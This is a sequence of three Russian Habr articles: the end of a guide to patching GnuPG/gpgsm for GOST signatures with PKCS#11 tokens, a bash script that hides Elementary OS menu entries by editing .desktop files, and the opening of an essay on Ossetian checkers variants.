+ s_buflen, s_buf,
+ r_buflen, r_buf,
+ gcry_md_algo_name(ctrl->digest.algo));
+ gcry_log_debugsxp ("SIG_VAL", s_sig);
+ }
+ else
+
rc = gcry_sexp_build (&s_sig, NULL, "(sig-val(ecdsa(r%b)(s%b)))",
r_buflen, r_buf,
s_buflen, s_buf);
```
**Патч для модуля gpgsm можно увидеть здесь**
```
diff -u SM_ORIG/call-agent.c SM/call-agent.c
--- SM_ORIG/call-agent.c 2017-04-03 18:13:56.000000000 +0300
+++ SM/call-agent.c 2018-07-19 09:37:08.411345324 +0300
@@ -234,6 +234,7 @@
rc = start_agent (ctrl);
if (rc)
return rc;
+
inq_parm.ctrl = ctrl;
inq_parm.ctx = agent_ctx;
@@ -313,6 +314,14 @@
case GCRY_MD_RMD160:hashopt = "--hash=rmd160"; break;
case GCRY_MD_MD5: hashopt = "--hash=md5"; break;
case GCRY_MD_SHA256:hashopt = "--hash=sha256"; break;
+/*ГОСТ-алгоритмы*/
+ case GCRY_MD_STRIBOG512:
+ hashopt = "--hash=stribog512"; break;
+ case GCRY_MD_STRIBOG256:
+ hashopt = "--hash=stribog256"; break;
+ case GCRY_MD_GOSTR3411_CP:
+ hashopt = "--hash=gostr3411_CP"; break;
+
default:
return gpg_error (GPG_ERR_DIGEST_ALGO);
}
@@ -357,7 +366,20 @@
xfree (sigbuf);
return 0;
}
- p = stpcpy (p, "(7:sig-val(3:rsa(1:s" );
+/*Обработка для ГОСТ-алгоритмов*/
+ switch(digestalgo)
+ {
+ case GCRY_MD_STRIBOG512:
+ case GCRY_MD_STRIBOG256:
+ case GCRY_MD_GOSTR3411_CP:
+ case GCRY_MD_GOSTR3411_94:
+ p = stpcpy (p, "(7:sig-val(3:ecc(1:s" );
+ break;
+ default:
+ p = stpcpy (p, "(7:sig-val(3:rsa(1:s" );
+ break;
+ }
+
sprintf (p, "%u:", (unsigned int)sigbuflen);
p += strlen (p);
memcpy (p, sigbuf, sigbuflen);
diff -u SM_ORIG/certcheck.c SM/certcheck.c
--- SM_ORIG/certcheck.c 2017-04-03 18:13:56.000000000 +0300
+++ SM/certcheck.c 2018-07-19 09:37:52.028347722 +0300
@@ -71,11 +71,13 @@
size_t nframe;
unsigned char *frame;
- if (pkalgo == GCRY_PK_DSA || pkalgo == GCRY_PK_ECDSA)
+ if (pkalgo == GCRY_PK_DSA || pkalgo == GCRY_PK_ECDSA || pkalgo == GCRY_PK_ECC)
+
{
unsigned int qbits;
- if ( pkalgo == GCRY_PK_ECDSA )
+ if ( pkalgo == GCRY_PK_ECDSA || pkalgo == GCRY_PK_ECC)
+
qbits = gcry_pk_get_nbits (pkey);
else
qbits = get_dsa_qbits (pkey);
@@ -169,7 +171,7 @@
memcpy ( frame+n, gcry_md_read(md, algo), len ); n += len;
assert ( n == nframe );
}
- if (DBG_CRYPTO)
+// if (DBG_CRYPTO)
{
int j;
log_debug ("encoded hash:");
@@ -177,6 +179,22 @@
log_printf (" %02X", frame[j]);
log_printf ("\n");
}
+ int i;
+ for (i = 0; i < (nframe/2); i++) {
+ unsigned char c;
+ c = frame[i];
+ frame[i] = frame[nframe - i -1];
+ frame[nframe - i - 1] = c;
+ }
+ if (DBG_CRYPTO)
+ {
+ int j;
+ log_debug ("GOST encoded hash:");
+ for (j=0; j < nframe; j++)
+ log_printf (" %02X", frame[j]);
+ log_printf ("\n");
+ }
+ }
gcry_mpi_scan (r_val, GCRYMPI_FMT_USG, frame, n, &nframe);
xfree (frame);
diff -u SM_ORIG/gpgsm.c SM/gpgsm.c
--- SM_ORIG/gpgsm.c 2017-05-15 15:13:22.000000000 +0300
+++ SM/gpgsm.c 2018-07-19 09:38:33.277349990 +0300
@@ -471,6 +471,7 @@
{
switch (algo)
{
+ case GCRY_PK_ECC:
case GCRY_PK_RSA:
case GCRY_PK_ECDSA:
return gcry_pk_test_algo (algo);
@@ -1577,6 +1578,10 @@
opt.def_cipher_algoid = "1.2.392.200011.61.1.1.1.3";
else if (!strcmp (opt.def_cipher_algoid, "CAMELLIA256") )
opt.def_cipher_algoid = "1.2.392.200011.61.1.1.1.4";
+ else if (!strcmp (opt.def_cipher_algoid, "GOST28147") )
+// opt.def_cipher_algoid = "1.2.643.2.2.21";
+ opt.def_cipher_algoid = "1.2.643.2.2.31.1";
+
if (cmd != aGPGConfList)
{
diff -u SM_ORIG/keylist.c SM/keylist.c
--- SM_ORIG/keylist.c 2017-05-15 15:13:22.000000000 +0300
+++ SM/keylist.c 2018-07-19 20:20:11.560466784 +0300
@@ -769,6 +769,42 @@
unsigned int nbits;
algoname = gcry_pk_algo_name (gpgsm_get_key_algo_info (cert, &nbits));
+/*Информация по ГОСТ-ключам*/
+ if(!strncasecmp(algoname, "ecc", 3)){
+ gpg_error_t err;
+ ksba_sexp_t p;
+ size_t n;
+ gcry_sexp_t s_pkey, l2;
+ const char *str_hash;
+ const char *str_curve;
+ /* Get the public key from the issuer certificate. */
+ p = ksba_cert_get_public_key (cert);
+ n = gcry_sexp_canon_len (p, 0, NULL, NULL);
+ err = gcry_sexp_sscan ( &s_pkey, NULL, p, n);
+ ksba_free (p);
+/*Ищем хэш*/
+ l2 = gcry_sexp_find_token (s_pkey, "hash", 0);
+ str_hash = gcry_sexp_nth_string (l2, 1);
+ gcry_sexp_release (l2);
+/*Ищем curve*/
+ l2 = gcry_sexp_find_token (s_pkey, "curve", 0);
+ str_curve = gcry_sexp_nth_string (l2, 1);
+ gcry_sexp_release (l2);
+ gcry_sexp_release (s_pkey);
+ if(!memcmp(str_hash, "1.2.643.7", 9)){
+/* GOST R 34.10-2012-512 */
+ es_fprintf (fp, " keyType: %u bit %s (Curve: %s))\n",
+ nbits, "GOST R 34.10-2012", str_curve);
+ } else if(!memcmp(str_hash, "1.2.643.2", 9)){
+/* GOST R 34.10-2012-246 */
+ es_fprintf (fp, " keyType: %u bit %s (Curve: %s))\n",
+ nbits, "GOST R 34.10-2001", str_curve);
+ } else
+ es_fprintf (fp, " keyType: %u bit %s\n",
+ nbits, algoname? algoname:"?");
+ }
+ else
+
es_fprintf (fp, " keyType: %u bit %s\n",
nbits, algoname? algoname:"?");
}
@@ -1118,6 +1154,42 @@
unsigned int nbits;
algoname = gcry_pk_algo_name (gpgsm_get_key_algo_info (cert, &nbits));
+/*Информация по ГОСТ-ключам*/
+ if(!strncasecmp(algoname, "ecc", 3)){
+ gpg_error_t err;
+ ksba_sexp_t p;
+ size_t n;
+ gcry_sexp_t s_pkey, l2;
+ const char *str_hash;
+ const char *str_curve;
+ /* Get the public key from the issuer certificate. */
+ p = ksba_cert_get_public_key (cert);
+ n = gcry_sexp_canon_len (p, 0, NULL, NULL);
+ err = gcry_sexp_sscan ( &s_pkey, NULL, p, n);
+ ksba_free (p);
+/*Ищем хэш*/
+ l2 = gcry_sexp_find_token (s_pkey, "hash", 0);
+ str_hash = gcry_sexp_nth_string (l2, 1);
+ gcry_sexp_release (l2);
+/*Ищем curve*/
+ l2 = gcry_sexp_find_token (s_pkey, "curve", 0);
+ str_curve = gcry_sexp_nth_string (l2, 1);
+ gcry_sexp_release (l2);
+ gcry_sexp_release (s_pkey);
+ if(!memcmp(str_hash, "1.2.643.7", 9)){
+/* GOST R 34.10-2012-512 */
+ es_fprintf (fp, " keyType: %u bit %s (Curve: %s))\n",
+ nbits, "GOST R 34.10-2012", str_curve);
+ } else if(!memcmp(str_hash, "1.2.643.2", 9)){
+/* GOST R 34.10-2012-246 */
+ es_fprintf (fp, " keyType: %u bit %s (Curve: %s))\n",
+ nbits, "GOST R 34.10-2001", str_curve);
+ } else
+ es_fprintf (fp, " keyType: %u bit %s\n",
+ nbits, algoname? algoname:"?");
+ }
+ else
+
es_fprintf (fp, " key type: %u bit %s\n",
nbits, algoname? algoname:"?");
}
diff -u SM_ORIG/sign.c SM/sign.c
--- SM_ORIG/sign.c 2017-05-15 15:13:22.000000000 +0300
+++ SM/sign.c 2018-07-19 09:41:05.738358373 +0300
@@ -33,7 +33,41 @@
#include "keydb.h"
#include "../common/i18n.h"
+char *cert_get_digest_algo_from_pk(ksba_cert_t cert) {
+ gpg_error_t err;
+ ksba_sexp_t p;
+ size_t n;
+ gcry_sexp_t s_pubkey;
+ char buf[50];
+ const char *s;
+ gcry_sexp_t h_pk;
+
+ /* Get the public key from the certificate. */
+ p = ksba_cert_get_public_key (cert);
+ n = gcry_sexp_canon_len (p, 0, NULL, NULL);
+ if (!n)
+ {
+ ksba_free (p);
+ return NULL;
+ }
+ err = gcry_sexp_sscan ( &s_pubkey, NULL, p, n);
+ ksba_free (p);
+ if (err) {
+ return NULL;
+ }
+ h_pk = gcry_sexp_find_token (s_pubkey, "hash", 0);
+ if (h_pk){
+ s = gcry_sexp_nth_data (h_pk, 1, &n);
+ memcpy(buf, s, n);
+ buf[n] = '\0';
+ gcry_sexp_release (s_pubkey);
+ gcry_sexp_release (h_pk);
+ return (strdup(buf));
+ } else {
+ return NULL;
+ }
+}
/* Hash the data and return if something was hashed. Return -1 on error. */
static int
@@ -301,8 +335,6 @@
return err;
}
-
-
/* Perform a sign operation.
@@ -328,6 +360,8 @@
ksba_isotime_t signed_at;
certlist_t cl;
int release_signerlist = 0;
+ const unsigned char *shash;
+ size_t lshash;
audit_set_type (ctrl->audit, AUDIT_TYPE_SIGN);
@@ -435,8 +469,15 @@
}
else
{
+ oid = (char *)cert_get_digest_algo_from_pk(cl->cert);
+ if (oid == NULL || strncmp(oid, "1.2.643", 7))
+
oid = ksba_cert_get_digest_algo (cl->cert);
cl->hash_algo = oid ? gcry_md_map_name (oid) : 0;
+ if(oid != NULL && !strcmp(oid, "1.2.643.2.2.30.1")){
+ cl->hash_algo = GCRY_MD_GOSTR3411_CP;
+ }
+
}
switch (cl->hash_algo)
{
@@ -446,6 +487,15 @@
case GCRY_MD_SHA256: oid = "2.16.840.1.101.3.4.2.1"; break;
case GCRY_MD_SHA384: oid = "2.16.840.1.101.3.4.2.2"; break;
case GCRY_MD_SHA512: oid = "2.16.840.1.101.3.4.2.3"; break;
+ case GCRY_MD_STRIBOG256: /* GOST R 34.11-2012, 256 bit. */
+ oid = "1.2.643.7.1.1.2.2"; break;
+ case GCRY_MD_STRIBOG512: /* GOST R 34.11-2012, 512 bit. */
+ oid = "1.2.643.7.1.1.2.3"; break;
+ case GCRY_MD_GOSTR3411_CP: /* GOST R 34.11-94. */
+ oid = "1.2.643.2.2.9"; break;
+ case GCRY_MD_GOSTR3411_94: /* GOST R 34.11-94. TK26 */
+ oid = "1.2.643.2.2.9"; break;
+
/* case GCRY_MD_WHIRLPOOL: oid = "No OID yet"; break; */
case GCRY_MD_MD5: /* We don't want to use MD5. */
```
Патчи модулей gnupg-agent и gpgsm делались для версии [gnupg-2.1.21](https://lists.gnupg.org/pipermail/gnupg-announce/2017q2/000405.html). Перенести эти патчи скажем на версию gnupg-2.2.9 не составляет большого труда.
После сборки доработанных версий libksba, gnupg, утилиты gnupg\_pkcs11\_scd и установки их в систему, для обеспечения интерфейса с токенами PKCS#11 необходимо в конфигурационный файл gpg-agent.conf добавить следующие строки:
```
…
scdaemon-program /usr/local/bin64/gnupg-pkcs11-scd
pinentry-program /usr/bin/pinentry-qt
…
```
Затем необходимо в конфигурационном файле gnu-pkcs11-scd.conf указать библиотеки PKCS#11 для токенов, которые будут использоваться:
```
#В примере предполагается использование токена
#с библиотекой /usr/local/lib64/libls11sw2016.so
…
# Comma-separated list of available provider names. Then set
# attributes for each provider using the provider-[name]-attribute
# syntax.
providers mytokenpkcs11
provider-mytokenpkcs11-library /usr/local/lib64/libls11sw2016.so
#Если используется, например, токен ruTokenECP
#provider-metokenpkcs11-library /usr/local/lib64/librutokenecp.so
provider-mytokenpkcs11-cert-private
…
```
Все готово к работе. Проверяем, что модуль gpg-agent запущен:
```
bash-4.3$ gpg-agent --daemon
gpg-agent[1196]: enabled debug flags: ipc
gpg-agent: агент gpg уже запущен - еще один, новый, запущен не будет
gpg-agent: secmem usage: 0/32768 bytes in 0 blocks
bash-4.3$
```
Итак, на арену выходит kleopatra:
Кнопка «Импорт» используется прежде всего для импорта в систему корневых сертификатов, которые необходимы для проверки валидности личных сертификатов.
При запуске утилиты kleopatra может быть запрошен PIN-код к подключенному токену:
В дальнейшем это окно будет появляться всегда, когда потребуется доступ к закрытому ключу, хранящемуся на токене, например, при подписи электронного письма или файла.
Итак, вы бираем пункт меню «Сервис → Manage Smartcards». Если ранее с токена сертификаты не загружались, то высветится следующее окно:
Для того, чтобы увидеть сертификаты на подключенном токене, достаточно нажать кнопку LoadCertificates (Загрузить Сертификаты):
Если корневые сертификаты отсутствуют для сертификатов пользователя отсутствуют (not certified), то необходимо их установить (Файл → Импорт или кнопка Импорт):
Теперь, после установки корневых сертификатов, хорошие сертификаты можно видеть в списке доверенных сертификатов:
Если с сертификатом все хорошо (срок действия не истек, цепочка корневых сертификатов присутствует, сертификат не отозван), он прошел проверку на валидность, то такой сертификат при наличии закрытого ключа на токене может быть использован для создания электронной подписи.
Все это наглядно можно увидеть при установке сертификата, который по умолчанию будет использоваться для подписания писем в почтовом клиенте KMail (Настройки → Настройки KMail → Профили → <профиль владельца> → Изменить → Криптография → Сертификат подписи SMIME):
Можно также попытаться подписать файл «плохим сертификатом»:
Попытка подписать документ «плохим сертификатом» не удается, надо использовать хорошие сертификаты:
Для того, чтобы письмо при отправке было подписано электронной подписью достаточно выставить галочку Параметры → Подписать письмо:
Письмо будет автоматически подписано при отправке (кнопка отправить).
В заключение еще раз хочется обратить разработчиков приложений для отечественной ИОК, что проект GnuPG как среда разработки мало чем уступает по своим возможностям как OpenSSL, так и NSS. | https://habr.com/ru/post/417735/ | null | ru | null |
# Elementary OS. Наводим чистоту и порядок в Applications
Здравствуйте!
Когда впервые зашла на хабр, поняла, что я дома. Home, Sweet Home.…
Всё не решалась написать. Вот, решилась! Пишу. Хорошо иль плохо, но пишу.
Меня всегда удручал беспорядок в [… всюду, не люблю беспорядок… ] в меню приложений Mandriva, Suse, Ubuntu, Elementary OS (Решила перечислить их в порядке использования. Пишу и ностальгирую). Конечно, ситуация одинакова для поголовного большинства дистрибутивов, так как информацию о том, как и где показывать программу прописывают сами создатели этих программ в \*.desktop файлах. И многих из них похоже не волнует тот беспорядок, который происходит от такого ~~халатного~~ отношения к логике построения навигации.
Решила я это исправить. Давно давно давно, страшно давно. И через время, давно… Таки исправила. А вам решила и собралась показать только сейчас.
Задача: убрать из Applications всё лишнее. При этом не только не потерять в удобстве работы, но и многократно выиграть.
Разобралась как наипростейшим образом добиться того что мне нужно. А нужен мне порядок в меню и при этом работоспособность всех программ. Разные \*.desktop файлы имели различную структуру и порядок строк. Одним словом — никакого порядка. Кто в лес, кто по дрова. Изменять их самой и доводить до совершенства задача неблагодарная. Да, я этим когда-то занималась, ещё была тогда на Ubuntu. Бросила ) Хотя наработки лежат до сих пор и наверное стоит их выложить как есть. Возможно получу поддержку пользователей в своём начинании, а может и раскритикуют меня в пух и прах так, что и забуду про эту свою давнешнюю идеаллистическую затею как страшный сон. Что поделать, надо пробовать.
Экспериментальным образом поняла что нужно добавлять две строчки в самое начало каждого \*.desktop файла:
```
[Desktop Entry]
NoDisplay=true
```
Что за \*.desktop файлы? — Что-то вроде ярлыков в Windows. Находятся в /usr/share/applications/
Я написала несложный bash файл. Визуально разбила его на три части:
* То, что я запускаю из консоли. Не хочу что бы обыватели видели специфические приложения. И сами что бы не смущались и меня не смущали что б.
* То, чему в меню программ делать по сути нечего. Архиваторы, проигрыватели, просмотрщики и прочие. Это обслуживающий персонал, работа которого должна быть изящна, быстра и ненавящива.
* Текстовые редакторы. Вынесла отдельным блоком для удобства. Так же как и в предшевствующем пункте, на иконку редактора я нажимала быть может несколько раз, первых и из любопытства. Если нам всё таки нужен редактор под рукой то никто не запрещает закрепить его в док. В меню приложений его не будет, а в доке будет.
Вот так, например:
Заметка:
У меня нативный Scratch как редактор не прижился, но я не нашла ничего лучше Scratch для организации TODO lists и всяких notes. Была влюблена когда-то в Tomboy notes, консольный wyrd, затем в Wunderlist. Много чего перепробовала и остановилась сейчас на связке отзывчивого и простого тестового редактора c фиксацией дерева папок (Scratch) и облачного сервиса (Dropbox). Папки, что на снимке в левом сайдбаре, зафиксированы и никуда не деваются при открытии/закрытии редактора. Удобно. Такой функционал обнаружила случайно и полюбила его.
**Код bash скрипта для наведения порядка в меню приложений**
```
#!/bin/bash
# Just not needed for others to know that i have this in my system.
# I always can run them from cli. Вот
sudo sed -i '1iNoDisplay=true' /usr/share/applications/synaptic.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/synaptic.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/teamviewer-teamviewer9.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/teamviewer-teamviewer9.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/bleachbit.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/bleachbit.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/bleachbit-root.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/bleachbit-root.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/virtualbox.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/virtualbox.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/wireshark.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/wireshark.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/umit.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/umit.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/bum.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/bum.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/gparted.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/gparted.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/guake.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/guake.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/luakit.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/luakit.desktop
# Rubbish. То, что не запускаем отдельно,
# а открывается автоматически при открытии соответствующего файла,
# основываясь на file associations
sudo sed -i '1iNoDisplay=true' /usr/share/applications/dropbox.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/dropbox.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/AdobeAIR.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/AdobeAIR.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/file-roller.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/file-roller.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/caffeine-preferences.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/caffeine-preferences.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/evince.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/evince.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/gdebi.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/gdebi.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/gthumb.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/gthumb.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/update-manager.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/update-manager.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/vlc.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/vlc.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/pantheon-terminal.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/pantheon-terminal.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/noise.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/noise.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-base.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-base.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-calc.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-calc.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-math.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-math.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-draw.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-draw.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-impress.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-impress.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/libreoffice4.3-writer.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/libreoffice4.3-writer.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/ibus-setup.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/ibus-setup.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/empathy.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/empathy.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/totem.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/totem.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/gxneur.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/gxneur.desktop
# Скрыла, потому что эти приложения доступны из контекстного меню.
# Посчитала излишним дублировать их в меню. Время покажет права ли я.
sudo sed -i '1iNoDisplay=true' /usr/share/applications/scratch-text-editor.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/scratch-text-editor.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/scribes.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/scribes.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/sublime_text.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/sublime_text.desktop
sudo sed -i '1iNoDisplay=true' /usr/share/applications/atom.desktop
sudo sed -i '1i[Desktop Entry]' /usr/share/applications/atom.desktop
#Пример как удалить ошибочную строку после batch edit. Экранируем спецсимволы и ставим параметр 'd'
#sudo sed -i '/\[Desktop Entry\] NoDisplay=true/d' /usr/share/applications/synaptic.desktop
```
Из всех иконок либреофиса оставила лишь одну — центральную.
Сохраняйте и запускайте.
```
chmod u+x Beautify_menu
sh Beautify_menu
```
Одно лишь неудобство. Скрипт необходимо перезапускать после обновлений программ. Так как они стирают старый и записывают новый \*.desktop файл. Как следствие, наши правки теряются и нужно повторить скрипт. А как быть когда одна программа обновилась, а другие нет. Что тогда? Не переживайте, многократные строки ниже ни на что не влияют:
```
[Desktop Entry]
NoDisplay=true
[Desktop Entry]
NoDisplay=true
[Desktop Entry]
NoDisplay=true
[Desktop Entry]
NoDisplay=true
```
Потому скрипт можно запускать бесконечное множество раз.
На сколько оптимально написан скрипт, оставляю на ваше суждение. Мне лично кажется, что код можно упростить как минимум вдвое. Но как именно, я не знаю. Замучалась экпериментировать и выложила как есть.
Не запускайте этот скрипт слепо. Подумайте, нужно ли вам то, чего добивалась я. Быть может, вас всё устраивает.
Если вы солидарны с моей точкой зрения про порядок в меню, не забудьте поправить скрипт «под себя». Желаю всем удачи.
В будущей статье хотела бы познакомить вас со своей консолью и её алиасами. Много еще чего чего лежит в папочке с пометкой «In dev». Мысли мои непоследовательны, знаю.
 | https://habr.com/ru/post/242751/ | null | ru | null |
# Dagaz: Пинки здравому смыслу (часть 4)
***Пусть же вихрем сабля свищет!
Мне Костаки не судья!
Прав Костаки, прав и я!
…
[Козьма Прутков](https://ru.wikiquote.org/wiki/%D0%9A%D0%BE%D0%B7%D1%8C%D0%BC%D0%B0_%D0%9F%D1%80%D1%83%D1%82%D0%BA%D0%BE%D0%B2) "[Новогреческая песнь](http://www.klassika.ru/stihi/prutkov/spit-zaliv-ehllada.html)"***
[Мат](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82_(%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)) и [пат](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%82), [рокировки](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0) и [взятия на проходе](https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D1%8F%D1%82%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%BF%D1%80%D0%BE%D1%85%D0%BE%D0%B4%D0%B5). Может ли какая-то другая игра (кроме Шахмат) доставить большую головную боль разработчикам? Конечно же да! И я уверен, что большинство из вас [эту игру](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8) знает…
#### **7. Турецкий удар**
В основе проблемы вновь лежат форсированные ходы. Играть в большинство из [вариантов шашек](http://www.di.fc.ul.pt/~jpn/gv/checkers.htm), без выполнения правила обязательного взятия, было бы совсем не интересно. Если можешь съесть фигуру игрока — надо её есть (даже если тебе это очень невыгодно)! Этот принцип лежит в основе всей комбинационной игры в шашки. Я знаю всего одну игру из этого семейства, в которой правило обязательного взятия не используется (и это хороший пример исключения лишь подтверждающего правила).
[Осетинские шашки](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1800), по всей видимости, являются одной из древнейших шашечных игр. Хотя в ней и используется «шашечный» принцип боя (перепрыгиванием через фигуру противника), отличий от привычных нам шашек пожалуй больше чем сходства. В игре не используется шахматная доска. Отсутствует превращение фигур. Фигуры ходят «только вперёд» (по вертикали или диагоналям) на одну клетку и, дойдя до последней линии, теряют возможность выполнять «тихие ходы». Из этой позиции фигуры всё-таки могут продолжать двигаться, поскольку бить фигуры противника разрешается в любом направлении. Самым важным отличием от других шашечных игр является тот факт, что взятие в «Осетинских шашках» не является обязательным. А главным объединяющим фактором является то, что одним ходом можно брать несколько фигур противника сразу! Взятие осуществляется «по цепочке» — выполнив «ударный» ход, фигура может продолжить движение, при условии, что на следующем шаге она возьмёт ещё одну фигуру.
**К вопросу о ''Кенах''**В настоящее время, на территории Осетии, распространена другая интересная шашечная игра. В [Кены](https://ru.wikipedia.org/wiki/%D0%9A%D0%B5%D0%BD%D1%8B) играют на привычной нам доске 8x8. Начальная расстановка аналогична "[Турецким шашкам](https://ru.wikipedia.org/wiki/%D0%A2%D1%83%D1%80%D0%B5%D1%86%D0%BA%D0%B8%D0%B5_%D1%88%D0%B0%D1%88%D0%BA%D0%B8)". На последней горизонтали происходит превращение фигур в дальнобойные дамки (Перец). Ходы фигур также осуществляются по правилам, сходным с применяемыми в «Турецких шашках», за исключением того, что не превращенной фигуре (Кену) разрешено бить назад, а также перепрыгивать через дружественные кены (без боя, конечно), стоящие рядом (аналогичного правила нет ни в одной другой из традиционных шашечных игр).
Правило перепрыгивания через дружественные фигуры может быть понято по разному. Можно ли прыгать назад (если взятие назад разрешено)? Разрешается ли перепрыгивать несколько своих фигур «по цепочке» и, если да, то можно ли перемежать перепрыгивание через свои фигуры со взятием вражеских? К сожалению, все описания «Кенов», которые мне удалось найти, обходят эти вопросы стороной. Единственное, в чём они солидарны — это то, что такое перепрыгивание не разрешается превращенным дамкам (через свои дамки перепрыгивать тоже нельзя). Чтобы как-то разобраться в этом вопросе, я разработал свою реализацию «Кенов» и выложил ролик на YouTube:
Несколько дней назад моё ожидание увенчалось успехом. [Sultan Ratrout](http://www.youtube.com/user/MrSultanRatrout) снабдил меня подробнейшими комментариями по этой игре. Вот что он пишет:
> *There are some similarities between the two checkers games «Kena» and «Kens» Your implementation of the game is correct. It’s called Ossetian Kena or simply Kena.
>
> …
>
> Kens is a game influenced by the Osseitan Kena. As for Kens rules, they are found on the websites “di.fc and boardgamsgeek”. Kens has the same rules of Turkish checkers except that Kens cant jump a friendly piece backwards and kens cant jump more than one friendly piece consecutively.
>
> ...*
Выяснилось, что существует не одна а две похожих игры «Kens» и «Kena» (не исключено, что это разделение произошло именно по причине недостаточно детального описания правил). В одной из них, перепрыгивать назад и «по цепочке» нельзя, в другой — разрешается. По всей видимости, и в том и другом варианте взятие является обязательным.
Наличие подробных описаний игр в общедоступных источниках — это действительно больной вопрос. Мы практически потеряли [Петтейю](http://skyruk.livejournal.com/244920.html) и [Латрункули](http://skyruk.livejournal.com/246450.html) просто из за того, что древние греки и римляне, при всей своей любви к этим играм, просто не удосужились описать их правила! Хоть как-то (и скорее всего неправильно) мы можем играть в [Хнефатафл](http://skyruk.livejournal.com/246910.html) лишь благодаря запискам [Карла Линнея](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%BD%D0%B5%D0%B9,_%D0%9A%D0%B0%D1%80%D0%BB). Попытки реконструкций древних игр напоминают запутанный [детектив](http://skyruk.livejournal.com/231444.html).
